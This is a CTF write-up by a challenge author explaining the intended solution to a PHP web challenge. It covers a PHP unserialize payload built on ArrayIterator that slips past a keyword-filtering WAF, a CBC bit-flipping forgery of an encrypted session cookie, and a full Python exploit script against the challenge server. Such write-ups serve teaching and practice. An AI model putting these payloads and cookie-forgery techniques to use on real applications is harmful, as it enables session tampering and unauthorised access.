Table of Contents
This post will explain the way to get the flag in an intended way. I'm writing this post assuming that you've got enough knowledge about web security. Please write a comment on the comment session for any questions.
Here's the information about the challenge:
Title: Gameshop
Difficulty: ★★★☆☆ (medium)
Solves: 3/1079
Description: What a shiawase kokoro sunshine! We opened a new VR gameshop just for you, Onii-chan!
The reason for this challenge being graded as medium was that, it could be very easy to solve this challenge if the attacker has a deep knowledge about PHP internals. You can consider it a 4-star challenge, but I've seen many complex challenges in many other CTFs.
Moreover, this challenge is an easy-medium level compared to challenges in my wargame so I can say it's OK to release it on a CTF.
This decision was solely made from my perspective. The difficulty really depends on your attacking skills, so please do not throw stones at me.
On the sourcecode of the index page, there's a comment starting from the very first line of the code.
<!--
こんにちは Hacker-sama!
I decided to put some weebs instead of weeds. Currently, we are on a cutting-edge development.
There are too many bugs in here, so we decided to start a new bug bounty program.
For more information, please check out our security.txt!
Made with love, by the *kawaii* PHP scientist.
-->
The security.txt
mentioned above has a format which is very identical to robots.txt
, but this file focuses on security policies.
Precisely speaking, security.txt
is a standard which helps bug hunters and security researchers to report vulnerabilities securely via secure channels organized by companies. This file helps both companies and researchers to enhance the security of the product.
security.txt
is an internet draft, but big IT companies like Facebook and Google uploaded this on their website. It's sad that many companies don't even know about the existance of this standard yet.
Anyways, looking up the /.well-known/security.txt
shows the following content.
# security.txt Kawaii Edition
Contact: mailto:[email protected]
Encryption: file:///dev/urandom
Acknowledgements: http://46.101.223.33/
Policy: http://46.101.223.33/policy.txt
Signature: http://46.101.223.33/signature.txt
Hiring: file:///etc/passwd
Yes, all files mentioned above are fake.
Sourcecodes and Server information can be downloaded at /.well-known/
.
Index of /.well-known/
../
backup.tar.gz 08-Apr-2018 08:14 697844
nginx.txt 07-Apr-2018 14:59 1190
phpinfo.min.txt 07-Apr-2018 14:08 12968
security.txt 07-Apr-2018 14:01 246
Downloading /.well-known/backup.tar.gz
gives you index.php
script and static
folder.
Now, the adventure starts..
Challenges in Security CTFs give you flags when you get deep enough into the system. Flag you earn from these challenges can be used to earn points to your team or even deduct points from other teams.
The main problem we've got in this challenge is that there are too many places to print the flag. Of course, CTFs aren't stupid enough to hand out flags so easy. Almost every possible vulnerable points are intentionally made to distract you from getting the flag. This could make your brain shaking if you don't have enough detailed knowledge about web security.
From my perspective, I'm going to explain about possible(in which most were traps) attacking points.
MicroDB is an open-source I found while I was making this challenge. This library is made for PHP developers who are willing to use file-based SQLs. SQLite(file-based SQL) is automatically installed upon PHP installation, and still people are making things like this. I'm really questioned. (Oh remember the fact that MicroDB makes multiple files to manage the DB, while SQLite makes a single file to manage the entire DB)
During the time I was creating this challenge, I examined the sourcecode and found out possible LFI but these won't give you pennies. That's why I decided to use this MicroDB in my challenge. (LOL)
If I was the attacker, I would've started to analyze the below snippet from index.php
.
170 function read($id){
171 $db = new \MicroDB\Database(__PASV__);
172 $post = $db->load($this->waf->waf($id));
173 if(!$post){ return false; }
174 return $post;
175 }
...
416 if($_GET['id']){
417 $data = $uzume->read($_GET['id']);
418 if($data){
419 $exist = true;
420 }
421 }
In $uzume->read()
function, $_GET['id']
is passed, filtered, then $db->load()
is executed based on the filtered input. Of course, Many would've thought that this part would be vulnerable and tried several ways to bypass it. Anyways, I'm sure it's not vulnerable, so kudos for guys who tried to bypass this part.
Why isn't it vulnerable? Let's have a look at the Database.php
public function load($id, $key = null)
{
if (is_array($id)) {
$results = [];
foreach ($id as $i) {
$results[$i] = $this->load($i);
}
return $results;
}
if (!$this->validId($id)) {
return null;
}
...
*/
public function validId($id)
{
$id = (string)$id;
return $id !== '.' && $id !== '..' && preg_match('#^[^/?*:;{}\\\\]+$#', $id);
}
Yes. validId()
blocks possible LFI attacks. The only possible leak from this code is the useless _auto
indexing file. Suprisingly, there are no useful files available within the directory. Also, you can't get into lower directories in the first place. Even if you got into lower directories, you can't still leak flags; script files cannot be leaked, according to the parsing mechanism of MicroDB.
Sigh, file inclusion attack using MicroDB becomes impossible.
If you succeeded to exploit the page with LFI and leaked flags using LFI by any chance, Congratulations! That's not an intended solution.
If you have knowledge about web security, You'll realize that this challenge is related to unserialize()
exploitations. Yes, that's correct. But what about the attack with Neptune class? that's a Big Nope.
209 function __destruct(){
210 if(is_string($this->username) && is_string($this->password)){
211 if((string)$this->username == "Neptune"){
212 if((string)$this->password == sha1(__SALT__ . __SALT__)){
213 die(__FLAG__);
214 }
215 }
216 }
217 }
If you ever succeeded to solve the challenge with this way, Congratulations. This is not an intended way either. I haven't even examined to try this, but I can assure you that this would be much harder than that MicroDB one and I'm not sure if this is even possble to solve. I'm not a cryptography expert to sincerely check this part. Remember, At the point of writing I'm working as a field infocom soldier in Korean military. I don't have sufficient time to test everything thoroughly. 😭
Apart from that, why isn't this possible? Let's examine the __SALT__
generator function.
3 function generate_salt(){
4 $rand_seed = (mktime(date("H"),0,0,date("n"),date("j"),date("Y")) * 1337) % PHP_INT_MAX;
5 mt_srand($rand_seed);
6 $c = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
7 $l = strlen($c);
8 $s = '';
9 for ($i = 0; $i < 64; $i++) {
10 $s .= $c[mt_rand(0, $l - 1)];
11 }
12 return $s;
13 }
The __SALT__
generated from the above code is 64 bytes long and continuously changes every hour. Apart from that, this challenge uses CBC mode. Custom firewalls enabled. Even if it's possible, I guess this can't be solved within the given time of the CTF. According to my cryptography knowledge, this can't be solved in CTF level. Kudos again for people who succeeded with this way. 👍
44 public function __destruct(){
45 $caller = get_class(debug_backtrace()[1]['object']);
46 if(in_array($caller, ["Neptune", "Uzume", "Affimojas"])){
47 if($this->flag == __FLAG__){
48 die(__FLAG__);
49 }
50 }else{
51 $this->add_count("Affimojas Mayday");
52 die("Too bad, it's not a good way to wake me up, Hacker-kun! (" . $this->get_count() . "/128)");
53 }
Yes, it makes no sense to me. $this->flag is not set and any info about flags were not serialized. I think this code itself looks really fuzzy. It's hard to leak flags from this part.
Teams who solved this challenge seemed to solve with this way, Kudos to 217 and dcua who solved it using this way.
** This was not an intended solution. **
According to a member from the team 217 said that assigning Affimojas.flag
with 0
will be possible to solve this challenge. Very nice way, I never expected this.
157 function __destruct(){
158 if(!is_array($this->flag) && !is_string($this->flag) && !is_null($this->flag)){
159 if((string)$this->flag['ASIS'] == "kawaii~"){
160 die(__FLAG__);
161 }
162 }
163 }
This does not seems to make sense at all, BUT IT IS VULNERABLE.
If you've not solved this challenge yet, you should probably go and search why this is possible.
Remember, This is PHP! Everything is possible. PHP a.k.a. possibilities unlimited.
The above code is has to fail at all cases because is_array()
first checks the input, then compare the input as an array.
This is supposed to be logically impossible. But why is this possible? Let's look at the test script I made.
1 <?php
2
3 $a = new ArrayObject();
4 $a['ASIS'] = "kawaii~";
5
6 if(!is_array($a) && !is_string($a) && !is_null($a)){
7 if((string)$a['ASIS'] == "kawaii~"){
8 echo "Kawaii-desu, Wakaru~";
9 }
10 }
11 ?>
ArrayObject is an internal class that makes a Object act like an Array type.(I still don't know why PHP has this kind of internal class.) Anyways, Using this ArrayObject
will give you an object
which acts like an array
type. By running the above code, it will successfully print Kawaii-desu, Wakaru~
.
We finally found the possible path, let's now start with bypassing techniques.
232 $ptext = @openssl_decrypt($ctext, $this->cipher, __SALT__, $options=OPENSSL_RAW_DATA, $iv=$iv);
233 if(!$ptext) $this->bye();
234 $v = @unserialize($this->waf->waf($ptext));
By now, you should be aware of the fact that challenge is about the unserialize()
attack, but I'm going to explain a bit further as just posting an exploit code will be difficult for you to understand the logic.
Let's have a look at the customized WAF code:
126 public function waf($data){
127 if($this->filter_trials()){
128 if(!$data){
129 $this->add_count("Malformed data");
130 die("Kono-yaro! Malformed data yamero~!!!!!");
131 }
132 $i = $this->filter_injection($data);
133 $s = $this->filter_session($i);
134 if(!$i || !$s){
135 $this->add_count($data);
136 die("Kono-Yaro! You cannot get me, hahaha!");
137 }else{
138 return $s;
139 }
140 }else{
141 die("Baka Onii-chan! You are blocked from access. Please wait for some time.");
142 }
143 }
Customized WAF in the script temporarily blocks your IP when attack_count becomes more than 128 filter_trials
, then checks and verifies your data with filter_injection()
and filter_session
respectively.
As the intended solution is to bypass the session, We will now examine the filter_session()
function.
109 private function filter_session($data){
110 if(is_array($data)) return false;
111 $data = str_ireplace(";O:", ";s:", $data);
112 $secure_except = ';s:9:"Affimojas":3:';
113 if(substr_count($data, $secure_except) == 1){
114 $data = str_ireplace($secure_except, ';O:9:"Affimojas":3:', $data);
115 }
116 $filter = ['asis', 'admin', __FLAG__, 'kawaii', 'StdClass', 'Object', 'String'];
117 foreach($filter as $filter_check){
118 if(substr_count(strtolower($data), strtolower($filter_check)) > 0) return false;
119 }
120 $filter = ['"Uzume"', '"Neptune"', '"Affimojas"', 'Database"'];
121 foreach($filter as $filter_check){
122 if(substr_count(strtolower($data), strtolower($filter_check)) > 1) return false;
123 }
124 return $data;
125 }
☠ Sadly, it seems that ArrayObject
is filtered by the word at Ln.116 (Object
)
Moreover, Ln.111 suggests that Objects can't be injected in the first place. But we still have hope to try, because this is PHP and we can bypass these filters.
I will not write any further explanation as we are going to bypass a lot of things. Please write on comment section for any questions.
<?php
// Uzume __destruct is copied from the original script
class Uzume {
function __destruct(){
if(is_array($this->flag) || is_string($this->flag)){
echo "[x] Uzume __destruct is loaded, but Nope..";
return;
}
if($this->flag['ASIS'] == "kawaii~"){
echo "[!] Flag spawned!\n";
}
}
}
////////////////////////////////////////
echo "\n";
echo "1. ArrayIterator is the iterator class of ArrayObject\n";
echo "- Since the word 'Object' is filtered, we can use the internal 'Iterator' class.\n";
$a = new ArrayObject(); // The world `object` is filtered
$a['ASIS'] = "kawaii~";
$b = new ArrayIterator(); // However, `ArrayIterator` almost does the same thing as `ArrayObject`
$b['ASIS'] = "kawaii~";
// Comparing both objects will return true. Therefore, ArrayIterator is capable of array-like comparison.
var_dump($a['ASIS'] == $b['ASIS']); // bool(true)
///////////////////////////////////////
echo "\n";
echo "2. serialize(ArrayIterator);\n";
// string(72) "C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";};m:a:0:{}}"
echo "[*] Serialized object of ArrayIterator: " . serialize($b) . "\n";
// Bypassed by injecting Class `C` rather injecting Object `O`.
// We now bypassed all filters on the customized WAF.
///////////////////////////////////////
echo "\n";
echo "3. Simplify attack string\n";
$c = 'C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}';
echo "[*] Shortened object: $c\n";
echo "[*] strlen(normal): " . strlen(serialize($b)) . "\n";
echo "[*] strlen(shortened): " . strlen($c) . "\n";
echo "**** Pops an error upon unserialize ****\n";
var_dump(unserialize('C:13:"ArrayIterator":39:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}'));
echo "**** What if it's loaded with Uzume? ****\n";
var_dump(unserialize('O:5:"Uzume":3:{s:4:"flag";C:13:"ArrayIterator":39:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}};'));
/*
Simplified code is supposed to crash the script with a fatal error.
However, $uzume->__destruct() is called before the fatal error comes so flag is returned.
The reason why I simplified this piece of code was to minimize the input. We'll see about this later.
*/
The result of the above code is as follows:
$ php test1.php
1. ArrayIterator is the iterator class of ArrayObject
- Since the word 'Object' is filtered, we can use the internal 'Iterator' class.
bool(true)
2. serialize(ArrayIterator);
[*] Serialized object of ArrayIterator: C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";};m:a:0:{}}
3. Simplify attack string
[*] Shortened object: C:13:"ArrayIterator":46:{x:i:0;a:1:{s:4:"ASIS";s:7:"kawaii~";}}
[*] strlen(normal): 72
[*] strlen(shortened): 63
**** Pops an error upon unserialize ****
PHP Warning: Insufficient data for unserializing - 39 required, 38 present in /srv/dev/test1.php on line 41
PHP Notice: unserialize(): Error at offset 25 of 63 bytes in /srv/dev/test1.php on line 41
bool(false)
**** What if it's loaded with Uzume? ****
[!] Flag spawned!
PHP Fatal error: Uncaught UnexpectedValueException: Error at offset 37 of 39 bytes in /srv/dev/test1.php:43
Stack trace:
#0 [internal function]: ArrayIterator->unserialize('x:i:0;a:1:{s:4:...')
#1 /srv/dev/test1.php(43): unserialize('O:5:"Uzume":3:{...')
#2 {main}
thrown in /srv/dev/test1.php on line 43
Isn't this interesting? Let's move to the next part.
Words like 'ASIS' and 'kawaii' are blocked. But always remember -- This is PHP. We can still bypass these filters.
<?php
echo "4. Bypass string filter\n";
$a = new ArrayIterator();
$a['ASIS'] = "kawaii~";
echo "[*] Serialized string: " . serialize($a) . "\n";
echo "** Serialized Object Information***\n";
var_dump($a);
$b = 'C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};m:a:0:{}}';
echo "[*] Modified string: " . $b . "\n";
echo "** Bypassed Object Information***\n";
var_dump(unserialize($b));
echo "[?] Are they equal?\n";
var_dump($a['ASIS'] === unserialize($b)['ASIS']);
?>
$ php test2.php
4. Bypass string filter
[*] Serialized string: O:13:"ArrayIterator":3:{i:0;i:0;i:1;a:1:{s:4:"ASIS";s:7:"kawaii~";}i:2;a:0:{}}
** Serialized Object Information***
object(ArrayIterator)#1 (1) {
["storage":"ArrayIterator":private]=>
array(1) {
["ASIS"]=>
string(7) "kawaii~"
}
}
[*] Modified string: C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};m:a:0:{}}
** Bypassed Object Information***
object(ArrayIterator)#2 (1) {
["storage":"ArrayIterator":private]=>
array(1) {
["ASIS"]=>
string(7) "kawaii~"
}
}
[?] Are they equal?
bool(true)
This is possible because the string type in serialized object (s
) is converted to unicode string type (S
).
C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};
length = 64
Let's get back to index.php now.
define("__CIPHER__", "camellia-256-cbc");
The challenge uses a cipher called Camellia-256
. This cipher is very identical to AES-256 regarding to its structure. Apart from the cipher, CBC mode is used in this script so the matter of cipher type is not a big issue here.
From here, I will explain the way to exploit assuming that you have a bit of knowledge about CBC blocks and any attacks related to CBC blocks.
First of all, what we are going to use here is not about the padding attack; it's about attcking CBC blocks and inject serialized objects. Let's have a look at the decryption logic below:
252 function save(){
253 global $key;
254 $iv = random_bytes(16);
255 $enc = bin2hex($iv) . bin2hex(openssl_encrypt(serialize($this), 'camellia-256-cbc', __SALT__, $options=OPENSSL_RAW_DATA, $iv));
256 setcookie("donmai", $value = $enc, $expire = time() + 86400 * 30, "/", $_SERVER['HTTP_HOST']);
257 }
save()
function basically sets a cookie donmai
with a random IV and a crypttext c
.
As we got the sourcecode and have knowledge about the session structure, We now have plaintext, crypttext and IV. Yet we still don't have the original key __SALT__
.
What if we have plaintext, crypttext and IV all at the same time? Well, we can somehow malform first block of the text without pain.
# Considering that a element of a list is a single block
c = ["???", "???", ...]
IV = "???"
p = ["real_text_123456", "abcdeabcdeabcdef"]
# malformed block
f = ["fake_text_123456", "abcdeabcdeabcdef"]
# To malform p[n] in CBC without crash, block p[n - 1] has to be modified..
IV = IV ⊕ p[0] ⊕ f[0]
# IV comes first part of the decryption phase, so changing IV won't affect whatsoever.
fake_crypttext = IV + ''.join(c) <<
First block can now be modified without changing other blocks of crypttext. Plaintext of decrypted malformed crypttext can now be returned with changed blocks.
Using this method only applies with the case when we have the control to modify the IV. That's not the end. We can't modify other blocks like this; previous blocks will crash and plaintext of decrypted crypttext won't be functional.
Let's split plaintext of donmai
session in blocks of texts and examine the session.
Username: stypr / Password: test123456
[0]=>
string(16) "O:7:"Neptune":5:" << This can be malformed easily.
....
[3]=>
string(16) "6-cbc";s:17:" Ne" (Spaces are null-bytes)
[4]=>
string(16) "ptune username";"
[5]=>
string(16) "s:5:"stypr";s:17"
[6]=>
string(16) ":" Neptune passw"
[7]=>
string(16) "ord";s:10:"test1"
...
Username: umaru / Password: 1";s:4:"flag";i:1;s:"test
[0]=>
string(16) "O:7:"Neptune":5:"
[1]=>
string(16) "{s:9:"*cipher";s"
[2]=>
string(16) ":16:"camellia-25"
[3]=>
string(16) "6-cbc";s:17:" Ne"
[4]=>
string(16) "ptune username";"
[5]=>
string(16) "s:5:"umaru";s:17"
[6]=>
string(16) ":" Neptune passw"
[7]=>
string(16) "ord";s:25:"1";s:"
[8]=>
string(16) "4:"flag";i:1;s:"" << ctype_print() lets us to inject whatever we want.
[9]=>
string(16) "test";s:13:"Nept"
[10]=>
string(16) "unecoin";i:0;s:1"
The 8th and 9th block indicate that it is possible to inject malformed texts to the block. But as we look as the 8th block (which is [7]
), we see that the length is 25
and all inputs we injected are considered as string.
In order to make this injection work in a very optimal way, we need to set the length of "\x00Neptune\x00Password" to be 0
, make the input of it empty, and inject the session.
As explained earlier, In order to change a specific block in the crypttext requires p[n] = p[n] ⊕ p[n-1] ⊕ f[n-1]
to be met, and the modified text should not have any errors and should be compared within the script.
To mitigate this problem, We have to:-
\x00Neptune\x00Password
(len=17) so that script won't crash during the decryption.0
, so that injection works without crash.In this way, we just have to brute-force for a single byte to make this session legitimate.
ID: styprumarukirino
(len=16), PW: 1";s:4:"flag";i:1;s:"test
(len=25)
[0]=>
string(16) "O:7:"Neptune":5:"
[1]=>
string(16) "{s:9:" * cipher""
[2]=>
string(16) ";s:16:"camellia-"
[3]=>
string(16) "256-cbc";s:17:" "
[4]=>
string(16) "Neptune username"
[5]=>
string(16) "";s:16:"stypruma"
[6]=>
string(16) "rukawaii";s:17:""
[7]=>
string(16) " Neptune passwor" << We don't really care what happens to this block
[8]=> ||----------- which means we can modify the value size to whatever we want.
string(16) "d";s:25:"1";s:4:"
[9]=>
string(16) ""flag";i:1;s:"te"
[10]=>
string(16) "st";s:13:"Neptun"
[11]=>
The maximum trial count is 128.
We can make the exploit part more lenient by using different IPs, but the intended solution needs less than 128 trials.
Let's recall the previous chapter (i.e. bypassed payload with ArrayIterator
)
C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};
length = 64
When we use this payload for the final exploitation, the input looks something like this.
PW: ";s:4:"flag";C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};
length = 80
Now you know understand why I simplified the exploit in the previous chapter. 😃
ID: styprexploit1337
(len=16)
PW: ";s:4:"flag";C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\41SIS";S:7:"\6bawaii~";};
(len=80)
[0]=>
string(16) "O:7:"Neptune":5:"
[1]=>
string(16) "{s:9:" * cipher""
[2]=>
string(16) ";s:16:"camellia-"
[3]=>
string(16) "256-cbc";s:17:" "
[4]=>
string(16) "Neptune username"
[5]=>
string(16) "";s:16:"styprexp"
[6]=>
string(16) "loit1337";s:17:""
[7]=>
string(16) " Neptune passwor"
[8]=> |-------------- We now need the `80` to be changed to either `00` or `+0`.
string(16) "d";s:80:"";s:4:""
[9]=>
string(16) "flag";C:13:"Arra"
[10]=>
string(16) "yIterator":50:{x"
[11]=>
string(16) ":i:0;a:1:{S:4:"\"
[12]=>
string(16) "41SIS";S:7:"\6ba"
[13]=>
string(16) "waii~";};";s:13:"
[14]=>
string(16) ""Neptunecoin";i:"
[15]=>
string(16) "0;s:12:"Neptunew"
[16]=>
Now, we are all set. Let's make an exploit!
The exploit below is written based on the explanations from above.
#!/usr/bin/python -u
import sys
import urllib2
import urllib
import random
import string
victim = "https://pwn.moe/donmai/donmai/aad407a75bda64301f88d29bae5dd799/"
cookie = ""
rand_str = lambda x: ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.digits) for _ in range(x))
slice = lambda x, y: map(''.join, zip(*[iter(x)]*y))
xor = lambda x, y: ''.join(chr(ord(a) ^ ord(b)) for a,b in zip(x,y))
def join(username, password):
data = {'username': username, 'password': password, 'reg': 'Register'}
data = urllib.urlencode(data)
r = urllib2.urlopen(victim, data).read().split("<h3>")[1].split("</h3")[0]
return r
def login(username, password):
global cookie
data = {'username': username, 'password': password, 'sign': 'Login'}
data = urllib.urlencode(data)
r = urllib2.urlopen(victim, data)
cookie = r.headers.get('Set-Cookie')
return r.read().split("<h3>")[1].split("</h3>")[0]
def main():
global cookie
r = urllib2.Request(victim)
r.add_header('Cookie', cookie)
r = urllib2.urlopen(r).read()
return r
def exploit(o, i):
global cookie
''' Blocks
[0]=>
string(16) "O:7:"Neptune":5:"
"O:005:"Uzume":5:" << 005 = 5
...
[7]=>
string(16) " Nept?ne passwor"
[8]=> |-------------- Need +0 or 00, ~128 trials
string(16) "d";s:?0:"";s:4:""
'''
# we just need to bruteforce a single byte for this attack
k = chr(i)
# Blocks to change
p = ['O:7:"Neptune":5:', '\x00Neptune\x00Password']
f = ['O:005:"Uzume":5:', '\x00Nept' + k + 'ne\x00Password']
# parse cookie
_cookie = o[cookie.find('donmai=')+7:cookie.find(';')]
# split iv and c
iv = _cookie[:32].decode('hex')
c = slice(_cookie[32:].decode('hex'), 16)
# To change plaintext of c[0]
# IV = IV ^ p[0] ^ f[0]
iv = xor(iv, p[0])
iv = xor(iv, f[0])
# To change plaintext of c[8]
# c[7] = c[7] ^ p[8] ^ f[8]
c[7] = xor(c[7], p[1])
c[7] = xor(c[7], f[1])
# merge back
_exploit = iv.encode('hex') + ''.join(c).encode('hex')
cookie = "donmai=%s;" % (_exploit,)
if __name__ == "__main__":
username = rand_str(16)
password = '";s:4:"flag";C:13:"ArrayIterator":50:{x:i:0;a:1:{S:4:"\\41SIS";S:7:"\\6bawaii~";};'
print('[*] Register: %s' % (join(username, password),))
print('[*] Login: %s ' % (login(username, password),))
orig_cookie = cookie
user_input = raw_input('[?] One-shot?(y/n): ')
if "y" in user_input:
exploit(orig_cookie, 102)
r = main()
if "ASIS{" in r:
print(cookie)
print(r)
else:
print('[!] Flag leak failed..')
else:
for i in xrange(0, 128):
print('[*] Trial %s/128' % (i,))
exploit(orig_cookie, i)
r = main()
if "ASIS{" in r:
print(cookie)
print(r)
sys.exit(0)
print('[!] Flag leak failed.. something is wrong.')